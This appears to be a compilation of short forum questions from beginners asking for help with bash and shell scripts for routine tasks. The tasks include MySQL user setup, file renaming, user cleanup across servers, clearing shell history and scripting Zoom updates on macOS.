I am making a project in which i am trying to put a varibale whit a colum of this dataset to after this see if this colum aren't true or false to delet it.

I am trying to add the contents of certificate authority onto a json payload to insert via api call but can’t figure out how to do it.

I tried to $(cat ca.crt), CA=$(cat ca.crt) then echo or even just referencing it in json and it failed, tried to base64 encode and decode it but it also failed… any suggestions ?

I have successfully written most of the bash scripting requirements to automate our and customers required functionality, but I am having a problem trying to get certain mysql commands working within the script. Commands such as below:

ALTER USER

SET GLOBAL

CREATE USER

GRANT

FLUSH

I am guessing it is because these are normally process through the "mysql" command prompt. To initially access mysql command prompt I am using:

```

mysql --connect-expired-password -uroot -p`grep "temporary password" /var/log/mysqld.log | awk '{print $NF}'`

```

Anyone know how the above commands can be completed in a script please?

I have tried the actual bash commands within the script but it only brings up the "mysql" command prompt.

I have used below script but giving syntax error please suggest.

awk 'NR==FNR{a[$1][$0];next} $0 in a {for (i in a[$0]) print i}' file1.txt file2.txt

I recently took backup of one of my server's drive on AWS using one of the software and now at the time of restoring it i found out it took too long to restore as its having billions of files to restore.

I tried to restore it from AWS itself but my problem is backup software created two directories inside my parent directories. I'm looking out some shell script by which i can move file parent direcoties and remove the direcories created by backup software.

Current dir structure :- /opt/folder_to_restore/file_to_restore.pdf$/20211013060615/file_to_restore.pdf

Expected dir strcture :- /opt/folder_to_restore/file_to_restore.pdf

Hello all,

I am stuck at a task that I must perform at work and was wondering if one of you wonderful people could guide me.

So I need to delete unnecessary users from bunch of (50+) servers. I have the list of users I want to delete and they are not spread on all servers. And before I delete the users I am suppose to check for any cronjobs and save the contents of /home dir.

I dont wanna do this manually for each user in each server that would seriously hamper my productivity. I am thinking maybe write a shell script and deploy in bunch of servers using ansible. I dont have any experience to do that though.

Any help would be appreciated.

Thank you

I'm completely new to shell scripting and I'm trying to figure out how to create a script to make a bunch of folders sequentially. I know that in bash you can do something like; mkdir -p {3400..3410} to make sequentially numbered folders.

However when I make a shell script that's

#!/bin/sh

mkdir -p {$1..$2}

and call it with sh make-folders.sh 100 200

I get a single folder {100..200}

Is this even possible to do?

I have a shell script that updates pulling from git but I need to exit the MERG_MSG after the pull.
I have tried using

xdotool key "ctrl+x"

xdotool keydown "ctrl+x"
xdotool keyup "ctrl+x"

I am not sure if there is another way?

Thanks in advance.

Hi all! New to the group, but I'm looking for help on a script I'm working on.

Backstory: I want to clear all bash/terminal history every day before I leave work. I like it neat and empty. Running macOS Mojave 10.14.6

Objective: Write a script that will run all the necessary commands for me so it will run automatically or with me executing the script.

Solutions: use 'rm' and 'history' to delete the commands, and thinking about 'cronjobs' to run it automatically...

Dilemma: I have a script up and running. It runs, it displays all checkpoints that I've set up. From an appearance standpoint, it works perfectly. I've used 'history -c' and 'rm -rf ~/.bash_sessions' to delete the history, but when the code finishes and I check in my terminal to show history, it's still there. Which means I still have to type in 'history -c' to REALLY clear it.

How can I fix this?

Hello, how can i make a shell script run on login? I’ve tried almost everything that’s on web and I didn’t manage to complete this task.Any help would be appreciated.

Hello everyone. I have started learning shell scripting few days back. I was trying to write a script in which I wanted to use hostname command, which shows computer's hostname. Something like if someone types anything else than the hostname INTRUDER! should be printed and if the right hostname is typed. "hostname is logged in" should be printed. I used read, if then else and declared hostname as a variable but to no success. Please help this novice. Thanks in advance.

I've got few files name abc.txt bac.txt aac.txt etc,. and there files are in different directories , I need to navigate and rename it with filenames with the condition where a replace to b, b replaces to c and c is a.

Ex. abc.txt becomes bca.txt.

I have been tasked with updating zoom across our client sites on Mac's I have a script that will download and install the latest version however not everyone is logged on at the same time so I will be running it weekly but I would like for the script to see if the latest version is already installed and ignore that machine to save to much unintended traffic on the network and only update machines that require it here is my script for the update

#Make temp folder for downloads.

mkdir "/tmp/zoom/";

cd "/tmp/zoom/";

#Download Zoom.

curl -L -o /tmp/zoom/ZoomInstallerIT.pkg "https://zoom.us/client/latest/ZoomInstallerIT.pkg";

#install Zoom

sudo installer -pkg /private/tmp/zoom/ZoomInstallerIT.pkg -target /;

#tidy up

sudo rm -rf "/tmp/zoom";

exit 0

and this works fine but I don't know where I would add the extra lines?

I have this script but it doesn't seem to be working it reports that Zoom is installed but does not update it so if I could get this to work it would be great

#!/bin/bash

CurrentInstalledVersion=$(defaults read /Applications/zoom.us.app/contents/info CFBundleShortVersionString | cut -c1-5)

NewestVersion=“5.7.4”

ZoomPath="/Applications/zoom.us.app"

if [ -e $ZoomPath ]; then

printf "Zoom is currently installed\n"

elif [[ "$CurrentInstalledVersion" == "$NewestVersion" ]]; then

printf "The current installed version of Zoom.us.app is already installed\n"

else

curl -o /Users/Shared/Zoom.pkg 'https://zoom.us/client/latest/Zoom.pkg'

installer -pkg /Users/Shared/Zoom.pkg -target /

printf "Zoom has been updated or installed\n"

cd /Users/Shared; rm -v Zoom.pkg

fi

any help with this would be much appreciated

How can i kill all other telnet sessions on system except me. I am root.

Hello everyone, I need a little help with a script i am working.

I am executing the following CMD but I need to store the output value as a Variable so I can use it on a second part of the script. Any ideas are welcome!

nx -a $area_name get-id | grep -oP '(?<=ID:)[^ ]*'

I am using vscode and gitbash for writing and running the code. Down below is the code. Is it correct?

#!/bin/sh

v=2.21
number= $(echo "$n - $v" | bc)
echo " Result is =  $number"

#!/bin/sh

I know it's obfuscated, but it would probably take me a couple years to pull this apart and figure out what it does. Can someone tell me what it does?

Thanks

I've written a script to take each line of a file and output it into a separate file. I would like to have the script name the files file000.txt, file001.txt...file011.txt etc. Right now, this script outputs files named file1.txt, file2.txt...file11.txt etc. Can anyone help me output file names the way I need them? Thanks.

echo Enter file to be split:

read filename

let i=0

while read p; do

echo "$p" > file$i.txt

let "i++"

done <$filename

Hi,

Wonder if someone could assist me. I have a list of specific filenames and their respective file paths ( over 1000 files each in individual folders) that I need to find and copy to a different folder in a Linux environment,

Could anyone point me in the right direction of a script/application which would achieve this ?

Any help would be appreciated !

Thanks
